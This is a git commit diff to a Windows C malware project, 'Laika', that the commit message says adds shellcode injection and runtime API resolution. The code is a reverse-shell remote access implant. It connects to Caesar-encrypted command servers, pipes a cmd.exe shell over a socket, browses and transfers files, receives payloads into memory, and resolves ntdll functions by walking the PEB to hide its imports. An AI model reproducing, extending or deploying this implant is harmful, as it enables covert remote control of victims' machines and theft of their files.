fix: bugs & msvcrt dependencies, add: shellcode injection, runtime imports (blank IAT)

This commit is contained in:
2024-07-06 13:39:48 +02:00
parent d1ea71557d
commit 17e998b801
16 changed files with 669 additions and 374 deletions

5
.gitignore vendored
View File

@@ -1,3 +1,6 @@
.vim .vim
Laika/.vs Laika/.vs
Laika/release Laika/Release
Laika/Laika/Release
Laika/Laika/x64
*.bin

View File

@@ -76,12 +76,19 @@
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<GenerateManifest>false</GenerateManifest> <GenerateManifest>false</GenerateManifest>
<RunCodeAnalysis>false</RunCodeAnalysis>
<EnableClangTidyCodeAnalysis>false</EnableClangTidyCodeAnalysis>
<ClangTidyChecks>*</ClangTidyChecks>
<EnableMicrosoftCodeAnalysis>false</EnableMicrosoftCodeAnalysis>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental> <LinkIncremental>true</LinkIncremental>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental> <LinkIncremental>false</LinkIncremental>
<RunCodeAnalysis>true</RunCodeAnalysis>
<EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
<ClangTidyChecks>*</ClangTidyChecks>
</PropertyGroup> </PropertyGroup>
<PropertyGroup Label="Vcpkg"> <PropertyGroup Label="Vcpkg">
<VcpkgEnabled>false</VcpkgEnabled> <VcpkgEnabled>false</VcpkgEnabled>
@@ -93,10 +100,12 @@
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode> <ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard> <LanguageStandard>stdcpp20</LanguageStandard>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Console</SubSystem> <SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -109,7 +118,7 @@
<ConformanceMode>true</ConformanceMode> <ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpp20</LanguageStandard> <LanguageStandard>stdcpp20</LanguageStandard>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<BufferSecurityCheck>false</BufferSecurityCheck> <BufferSecurityCheck>false</BufferSecurityCheck>
<CompileAs>CompileAsC</CompileAs> <CompileAs>CompileAsC</CompileAs>
</ClCompile> </ClCompile>
@@ -123,6 +132,15 @@
<StackReserveSize> <StackReserveSize>
</StackReserveSize> </StackReserveSize>
<GenerateMapFile>true</GenerateMapFile> <GenerateMapFile>true</GenerateMapFile>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
<SectionAlignment>
</SectionAlignment>
<AddModuleNamesToAssembly>
</AddModuleNamesToAssembly>
<ForceSymbolReferences>
</ForceSymbolReferences>
<IgnoreSpecificDefaultLibraries>
</IgnoreSpecificDefaultLibraries>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -131,10 +149,12 @@
<SDLCheck>true</SDLCheck> <SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode> <ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Console</SubSystem> <SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -147,16 +167,23 @@
<ConformanceMode>true</ConformanceMode> <ConformanceMode>true</ConformanceMode>
<Optimization>Disabled</Optimization> <Optimization>Disabled</Optimization>
<FavorSizeOrSpeed>Neither</FavorSizeOrSpeed> <FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile> </ClCompile>
<Link> <Link>
<SubSystem>Console</SubSystem> <SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding> <EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences> <OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation> <GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreAllDefaultLibraries>
</IgnoreAllDefaultLibraries>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<SectionAlignment>16</SectionAlignment>
</Link> </Link>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="file_explorer.c" /> <ClCompile Include="file_explorer.c" />
<ClCompile Include="libc.c" />
<ClCompile Include="main.c" /> <ClCompile Include="main.c" />
<ClCompile Include="resolve_apis.c" /> <ClCompile Include="resolve_apis.c" />
<ClCompile Include="shellcode.c" /> <ClCompile Include="shellcode.c" />
@@ -165,6 +192,7 @@
<ItemGroup> <ItemGroup>
<ClInclude Include="config.h" /> <ClInclude Include="config.h" />
<ClInclude Include="file_explorer.h" /> <ClInclude Include="file_explorer.h" />
<ClInclude Include="libc.h" />
<ClInclude Include="resolve_apis.h" /> <ClInclude Include="resolve_apis.h" />
<ClInclude Include="shellcode.h" /> <ClInclude Include="shellcode.h" />
<ClInclude Include="utils.h" /> <ClInclude Include="utils.h" />

View File

@@ -33,6 +33,9 @@
<ClCompile Include="shellcode.c"> <ClCompile Include="shellcode.c">
<Filter>Shellcode</Filter> <Filter>Shellcode</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="libc.c">
<Filter>Libs</Filter>
</ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="utils.h"> <ClInclude Include="utils.h">
@@ -50,5 +53,8 @@
<ClInclude Include="shellcode.h"> <ClInclude Include="shellcode.h">
<Filter>Shellcode</Filter> <Filter>Shellcode</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="libc.h">
<Filter>Libs</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
</Project> </Project>

View File

@@ -1,7 +1,7 @@
#define FALLBACK_SERVERS 1 #define FALLBACK_SERVERS 1
char* fallback_servers[1] = { char* fallback_servers[1] = {
"6>736;=3638:", "6>736;=3:;36",
}; };
int fallback_servers_ip[1] = { int fallback_servers_ip[1] = {

View File

@@ -1,9 +1,6 @@
#include "file_explorer.h" #include "file_explorer.h"
#include "utils.h" #include "utils.h"
#include "libc.h"
int get_object_info(char* path, struct stat* fileinfo) {
return Api.stat(path, fileinfo);
}
int get_drives_list(char* buf) { int get_drives_list(char* buf) {
DWORD drives = Api.GetLogicalDrives(); // get a bitmask of available drives DWORD drives = Api.GetLogicalDrives(); // get a bitmask of available drives
@@ -20,12 +17,30 @@ int get_drives_list(char* buf) {
return count; // return number of drives found return count; // return number of drives found
} }
char* get_file_list(const char* dirPath, int* numFiles) { char get_obj_info(const char* dirPath) {
char result = 'N';
HANDLE hFind = NULL;
WIN32_FIND_DATA findData; WIN32_FIND_DATA findData;
HANDLE hFind;
WCHAR searchPath[MAX_PATH]; WCHAR searchPath[MAX_PATH];
Api.mbstowcs(searchPath, dirPath, MAX_PATH); mbstowcs_(searchPath, dirPath, MAX_PATH);
wcscat(searchPath, L"\\*.*");
hFind = Api.FindFirstFileW(searchPath, &findData);
if (hFind == INVALID_HANDLE_VALUE)
return result;
result = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : 'f';
Api.FindClose(hFind);
return result;
}
char* get_file_list(const char* dirPath, int* numFiles) {
WIN32_FIND_DATA findData;
HANDLE hFind = NULL;
WCHAR searchPath[MAX_PATH];
mbstowcs_(searchPath, dirPath, MAX_PATH);
wcscat(searchPath, L"\\*.*"); wcscat(searchPath, L"\\*.*");
@@ -36,7 +51,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
// Allocate a dynamic array to store the file/folder names // Allocate a dynamic array to store the file/folder names
int maxFiles = BUFFER_SIZE; int maxFiles = BUFFER_SIZE;
char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*)); char** fileList = (char**)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, maxFiles * sizeof(char*));
int numFound = 0; int numFound = 0;
do { do {
@@ -44,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
WCHAR wFileName[MAX_PATH]; WCHAR wFileName[MAX_PATH];
wcscpy(wFileName, findData.cFileName); wcscpy(wFileName, findData.cFileName);
char fileName[MAX_PATH]; char fileName[MAX_PATH];
Api.wcstombs(fileName, wFileName, MAX_PATH); wcstombs_(fileName, wFileName, MAX_PATH);
// Ignore the "." and ".." folders // Ignore the "." and ".." folders
if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) { if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
@@ -54,10 +69,10 @@ char* get_file_list(const char* dirPath, int* numFiles) {
// Add the file/folder name to the array // Add the file/folder name to the array
if (numFound >= maxFiles) { if (numFound >= maxFiles) {
maxFiles *= 2; maxFiles *= 2;
fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*)); fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
} }
fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1); fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1);
Api.strcpy(fileList[numFound], CAESAR(fileName)); strcpy(fileList[numFound], CAESAR(fileName));
numFound++; numFound++;
} while (Api.FindNextFileW(hFind, &findData) != 0); } while (Api.FindNextFileW(hFind, &findData) != 0);
@@ -68,7 +83,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
for (int i = 0; i < numFound; i++) { for (int i = 0; i < numFound; i++) {
bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator
} }
char* fileNames = (char*)Api.malloc(bufferSize); char* fileNames = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, bufferSize);
fileNames[0] = '\0'; fileNames[0] = '\0';
// Concatenate the file/folder names separated by "/" // Concatenate the file/folder names separated by "/"
@@ -77,10 +92,10 @@ char* get_file_list(const char* dirPath, int* numFiles) {
if (i < numFound - 1) { if (i < numFound - 1) {
strcat(fileNames, "/"); strcat(fileNames, "/");
} }
Api.free(fileList[i]); Api.HeapFree(_crt_heap, 0, fileList[i]);
} }
Api.free(fileList); Api.HeapFree(_crt_heap, 0, fileList);
// Set the numFiles parameter to the number of files/folders found // Set the numFiles parameter to the number of files/folders found
*numFiles = numFound; *numFiles = numFound;
@@ -90,7 +105,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
BOOL delete_folder(LPCTSTR lpszDir) { BOOL delete_folder(LPCTSTR lpszDir) {
WIN32_FIND_DATA FindFileData; WIN32_FIND_DATA FindFileData;
HANDLE hFind; HANDLE hFind = NULL;
TCHAR szDir[MAX_PATH]; TCHAR szDir[MAX_PATH];
TCHAR szFileName[MAX_PATH]; TCHAR szFileName[MAX_PATH];
@@ -144,13 +159,14 @@ BOOL delete_folder(LPCTSTR lpszDir) {
return TRUE; return TRUE;
} }
int download_file(FILE* fp, SOCKET sock) { int download_file(HANDLE fp, SOCKET sock) {
char* data = (char*)Api.malloc(BUFFER_SIZE); char* data = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
int bytes_read, bytes_sent; int bytes_read = 0;
int bytes_sent = 0;
// Send the contents of the file through the socket // Send the contents of the file through the socket
while (1) { while (1) {
bytes_read = Api.fread(data, 1, BUFFER_SIZE, fp); Api.WriteFile(fp, data, BUFFER_SIZE, &bytes_read, NULL);
if (bytes_read == 0) { if (bytes_read == 0) {
break; break;
} }
@@ -167,15 +183,15 @@ int download_file(FILE* fp, SOCKET sock) {
FD_SET(sock, &write_fds); FD_SET(sock, &write_fds);
if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) { if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) {
Api.free(data); Api.HeapFree(_crt_heap, 0, data);
Api.fclose(fp); Api.CloseHandle(fp);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
return 0; return 0;
} }
} }
else { else {
Api.free(data); Api.HeapFree(_crt_heap, 0, data);
Api.fclose(fp); Api.CloseHandle(fp);
Sleep_(Sleep_TIME); Sleep_(Sleep_TIME);
return 0; return 0;
} }
@@ -187,15 +203,15 @@ int download_file(FILE* fp, SOCKET sock) {
} }
} }
Api.fclose(fp); Api.CloseHandle(fp);
Api.free(data); Api.HeapFree(_crt_heap, 0, data);
return 1; return 1;
} }
void upload_file(SOCKET sock, HANDLE file_handle) { void upload_file(SOCKET sock, HANDLE file_handle) {
// Receive file // Receive file
char* buffer = (char*)Api.malloc(BUFFER_SIZE); char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
int num_bytes = 0; int num_bytes = 0;
int total_bytes = 0; int total_bytes = 0;
@@ -218,7 +234,50 @@ void upload_file(SOCKET sock, HANDLE file_handle) {
} }
// Close the file handle // Close the file handle
Api.free(buffer); Api.HeapFree(_crt_heap, 0, buffer);
return; return;
} }
char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
if (!buffer) {
return NULL; // Memory allocation failed
}
int num_bytes = 0;
size_t buffer_capacity = BUFFER_SIZE;
int iOptVal = 5000;
int iOptLen = sizeof(int);
Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen);
// Download the file content from the socket
while ((num_bytes = Api.recv(sock, buffer + *total_bytes, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) {
if (num_bytes > 0) {
*total_bytes += num_bytes;
// Reallocate the buffer if necessary
if (*total_bytes + BUFFER_SIZE > buffer_capacity) {
buffer_capacity *= 2;
char* new_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity);
if (!new_buffer) {
Api.HeapFree(_crt_heap, 0, buffer);
return NULL; // Memory reallocation failed
}
buffer = new_buffer;
}
}
}
buffer[*total_bytes] = '\0';
// Reallocate to the exact size of the received data
char* final_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes);
if (!final_buffer) {
Api.HeapFree(_crt_heap, 0, buffer);
return NULL; // Memory reallocation failed
}
return final_buffer;
}

View File

@@ -14,9 +14,10 @@
extern API Api; extern API Api;
int get_object_info(char* path, struct stat* fileinfo); char get_obj_info(const char* dirPath);
int get_drives_list(char* buf); int get_drives_list(char* buf);
BOOL delete_folder(LPCTSTR lpszDir); BOOL delete_folder(LPCTSTR lpszDir);
char* get_file_list(const char* dirPath, int* numFiles); char* get_file_list(const char* dirPath, int* numFiles);
int download_file(FILE* fp, SOCKET sock); int download_file(HANDLE fp, SOCKET sock);
void upload_file(SOCKET sock, HANDLE file_handle); void upload_file(SOCKET sock, HANDLE file_handle);
char* upload_file_to_mem(SOCKET sock, size_t *total_bytes);

216
Laika/libc.c Normal file
View File

@@ -0,0 +1,216 @@
#include "libc.h"
#include "resolve_apis.h"
size_t strlen_(char* src) {
size_t s = 0;
if (src == NULL)
return 0;
for (; src[s] != 0; s++);
return s;
}
char* strcpy_(char* dest, const char* src) {
size_t i = 0;
for (; src[i] != 0; i++)
dest[i] = src[i];
dest[i] = 0;
return dest;
}
void *memset_(void* a, int val, size_t size) {
if (a == NULL)
return NULL;
for (size_t i = 0; i < size; i++)
((char*)a)[i] = (char)val;
return a;
}
int strncmp_(char* a, char* b, size_t size) {
if (a == NULL || b == NULL)
return -1;
for (size_t i = 0; a[i] != 0 && b[i] != 0 && i < size; i++)
if (a[i] != b[i])
return a[i] - b[i];
return 0;
}
size_t utf8_char_length(unsigned char c) {
if ((c & 0x80) == 0) return 1; // 1-byte character: 0xxxxxxx
if ((c & 0xE0) == 0xC0) return 2; // 2-byte character: 110xxxxx
if ((c & 0xF0) == 0xE0) return 3; // 3-byte character: 1110xxxx
if ((c & 0xF8) == 0xF0) return 4; // 4-byte character: 11110xxx
return 0; // Invalid UTF-8
}
wchar_t utf8_to_wchar(const unsigned char* mbstr, size_t* length) {
wchar_t wc = 0;
size_t len = utf8_char_length(mbstr[0]);
*length = len;
switch (len) {
case 1:
wc = mbstr[0];
break;
case 2:
wc = ((mbstr[0] & 0x1F) << 6) | (mbstr[1] & 0x3F);
break;
case 3:
wc = ((mbstr[0] & 0x0F) << 12) | ((mbstr[1] & 0x3F) << 6) | (mbstr[2] & 0x3F);
break;
case 4:
wc = ((mbstr[0] & 0x07) << 18) | ((mbstr[1] & 0x3F) << 12) | ((mbstr[2] & 0x3F) << 6) | (mbstr[3] & 0x3F);
break;
default:
*length = 0; // Invalid UTF-8
break;
}
return wc;
}
size_t mbstowcs_(wchar_t* dest, const char* src, size_t n) {
size_t count = 0;
const unsigned char* mbstr = (const unsigned char*)src;
while (*mbstr != '\0' && count < n) {
size_t len = 0;
wchar_t wc = utf8_to_wchar(mbstr, &len);
if (len == 0)
return (size_t)-1;
if (dest != NULL)
dest[count] = wc;
mbstr += len;
count++;
}
if (dest != NULL && count < n)
dest[count] = L'\0';
return count;
}
size_t wchar_to_utf8(wchar_t wc, unsigned char* utf8) {
if (wc <= 0x7F) {
utf8[0] = (unsigned char)wc;
return 1;
}
else if (wc <= 0x7FF) {
utf8[0] = 0xC0 | ((wc >> 6) & 0x1F);
utf8[1] = 0x80 | (wc & 0x3F);
return 2;
}
else if (wc <= 0xFFFF) {
utf8[0] = 0xE0 | ((wc >> 12) & 0x0F);
utf8[1] = 0x80 | ((wc >> 6) & 0x3F);
utf8[2] = 0x80 | (wc & 0x3F);
return 3;
}
else if (wc <= 0x10FFFF) {
utf8[0] = 0xF0 | ((wc >> 18) & 0x07);
utf8[1] = 0x80 | ((wc >> 12) & 0x3F);
utf8[2] = 0x80 | ((wc >> 6) & 0x3F);
utf8[3] = 0x80 | (wc & 0x3F);
return 4;
}
return 0; // Invalid wide character
}
size_t wcstombs_(char* dest, const wchar_t* src, size_t n) {
size_t count = 0;
unsigned char utf8[4];
while (*src != L'\0' && count < n) {
size_t len = wchar_to_utf8(*src, utf8);
if (len == 0 || count + len > n)
return (size_t)-1;
if (dest != NULL) {
for (size_t i = 0; i < len; i++)
dest[count++] = (char)utf8[i];
}
else
count += len;
src++;
}
if (dest != NULL && count < n)
dest[count] = '\0';
return count;
}
int wcscmp_(const wchar_t* s1, const wchar_t* s2) {
while (*s1 != L'\0' && *s2 != L'\0') {
if (*s1 != *s2)
return (*s1 < *s2) ? -1 : 1;
s1++;
s2++;
}
if (*s1 == L'\0' && *s2 == L'\0')
return 0;
else if (*s1 == L'\0')
return -1;
else
return 1;
}
wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) {
if (!*needle)
return (wchar_t*)haystack;
while (*haystack) {
const wchar_t* h = haystack;
const wchar_t* n = needle;
while (*h && *n && (*h == *n)) {
h++;
n++;
}
if (!*n)
return (wchar_t*)haystack;
haystack++;
}
return NULL;
}
void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
if (hModule == NULL) {
return NULL;
}
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return NULL;
}
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
return NULL;
}
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]);
if (strcmp(functionName, lpProcName) == 0) {
DWORD funcRVA = addrRVAs[ordinals[i]];
void* funcPtr = (void*)((BYTE*)hModule + funcRVA);
return funcPtr;
}
}
return NULL;
}
void* get_ntfunction(const char* func) {
PTEB tebPtr = GetTEB();
PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr;
PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList);
HMODULE hntdll = 0;
for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
if (wcsstr_(module->FullDllName.Buffer, L"ntdll.dll") != NULL) {
hntdll = (HMODULE)(module->DllBase);
break;
}
}
return my_GetProcAddress(hntdll, func);
}

16
Laika/libc.h Normal file
View File

@@ -0,0 +1,16 @@
#pragma once
#include <Windows.h>
#include <stddef.h>
extern HANDLE _crt_heap;
char* strcpy_(char* dest, const char* src);
size_t strlen_(char* src);
int strncmp_(char* a, char* b, size_t size);
void *memset_(void* a, int val, size_t size);
size_t mbstowcs_(wchar_t* dest, const char* src, size_t n);
size_t wcstombs_(char* dest, const wchar_t* src, size_t n);
int wcscmp_(const wchar_t* s1, const wchar_t* s2);
wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle);
void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
void* get_ntfunction(const char* func);

View File

@@ -1,30 +1,37 @@
#include "libc.h"
#include <Windows.h> #include <Windows.h>
#include <shlobj_core.h>
#include <wininet.h> #include <wininet.h>
#include <shlobj_core.h>
#include <stdio.h> #include <stdio.h>
#include "utils.h" #include "utils.h"
#include "config.h" #include "config.h"
#include "resolve_apis.h" #include "resolve_apis.h"
#include "file_explorer.h" #include "file_explorer.h"
#define SHELLCODE
#ifdef SHELLCODE
#include "shellcode.h" #include "shellcode.h"
#endif
HANDLE g_hChildStd_IN_Rd = NULL; HANDLE g_hChildStd_IN_Rd = NULL;
HANDLE g_hChildStd_IN_Wr = NULL; HANDLE g_hChildStd_IN_Wr = NULL;
HANDLE g_hChildStd_OUT_Rd = NULL; HANDLE g_hChildStd_OUT_Rd = NULL;
HANDLE g_hChildStd_OUT_Wr = NULL; HANDLE g_hChildStd_OUT_Wr = NULL;
extern API Api;
#define BUFFER_SIZE 4096 #define BUFFER_SIZE 4096
#define SMALL_SLEEP_TIME 50
DWORD WINAPI redirect_i_thread(LPVOID lpParameter) { DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
SOCKET sock = (SOCKET)lpParameter; SOCKET sock = (SOCKET)lpParameter;
char* buffer = (char*)Api.malloc(BUFFER_SIZE); char* buffer = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
DWORD bytesRead; DWORD bytesRead = 0;
while (1) { while (1) {
//Read data from the socket //Read data from the socket
Api.memset(buffer, 0, BUFFER_SIZE); memset_(buffer, 0, BUFFER_SIZE);
bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0); bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0);
if (bytesRead > 0) { if (bytesRead > 0) {
Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL); Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL);
@@ -34,23 +41,23 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
break; break;
} }
else { else {
Sleep_(50); Sleep_(SMALL_SLEEP_TIME);
} }
} }
Api.free(buffer); Api.HeapFree(_crt_heap, 0, buffer);
return 0; return 0;
} }
DWORD WINAPI redirect_o_thread(LPVOID lpParameter) { DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
SOCKET sock = (SOCKET)lpParameter; SOCKET sock = (SOCKET)lpParameter;
char* buffer = (char*)Api.malloc(BUFFER_SIZE); char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
DWORD bytesRead; DWORD bytesRead = 0;
while (1) { while (1) {
// Read data from the child process's stdout pipe // Read data from the child process's stdout pipe
if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) { if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) {
Api.send(sock, CAESAR(buffer), bytesRead, 0); Api.send(sock, CAESAR(buffer), (int)bytesRead, 0);
//Api.send(sock, buffer, bytesRead, 0); //Api.send(sock, buffer, bytesRead, 0);
} }
else { else {
@@ -62,7 +69,7 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
} }
} }
Api.free(buffer); Api.HeapFree(_crt_heap, 0, buffer);
return 0; return 0;
} }
@@ -76,19 +83,15 @@ DWORD WINAPI watch_process(LPVOID lpParameter) {
watch_process_args* args = (watch_process_args*)(lpParameter); watch_process_args* args = (watch_process_args*)(lpParameter);
char buffer[1]; // buffer to hold the data char buffer[1]; // buffer to hold the data
int n; int n = 0;
while (1) { while (1) {
n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK); n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK);
if (n > 0) { if (n > 0) {
// There is data available on the socket, so the connection is still alive // There is data available on the socket, so the connection is still alive
} }
else if (n == 0) {
// The connection has been closed
break;
}
else { else {
// An error occurred // An error occurred or the connection has been closed
break; break;
} }
} }
@@ -107,21 +110,20 @@ void SendShellEndedSignal(SOCKET sock) {
} }
int serv = -1; int serv = -1;
int main() { HANDLE _crt_heap = 0;
int main(void) {
InitApis(); InitApis();
Message(); _crt_heap = Api.HeapCreate(0, 0, 0);
Tmemset memset = Api.memset;
wchar_t wtext[20]; wchar_t wtext[20];
Api.mbstowcs(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null mbstowcs_(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null
LPWSTR cmd_char = wtext; LPWSTR cmd_char = wtext;
int sock; int sock = 0;
int first = 1; int first = 1;
struct sockaddr_in server; struct sockaddr_in server;
char* server_reply = (char*)Api.malloc(BUFFER_SIZE); char* server_reply = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
server.sin_family = AF_INET; server.sin_family = AF_INET;
WORD wVersionRequested = MAKEWORD(2, 2); WORD wVersionRequested = MAKEWORD(2, 2);
@@ -145,12 +147,12 @@ retry:
//<2F>a <20>vite qu'elle reste dans la m<>moire trop longtemps //<2F>a <20>vite qu'elle reste dans la m<>moire trop longtemps
//<2F>a <20>vite aussi qu'on utilise CAESAR_DECRYPT sur une ip d<>j<EFBFBD> d<>crypt<70>e //<2F>a <20>vite aussi qu'on utilise CAESAR_DECRYPT sur une ip d<>j<EFBFBD> d<>crypt<70>e
size_t len = strlen(fallback_servers[serv]); size_t len = strlen(fallback_servers[serv]);
char* Tmp = Api.malloc(len + 1); char* Tmp = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, len + 1);
Api.strcpy(Tmp, fallback_servers[serv]); strcpy(Tmp, fallback_servers[serv]);
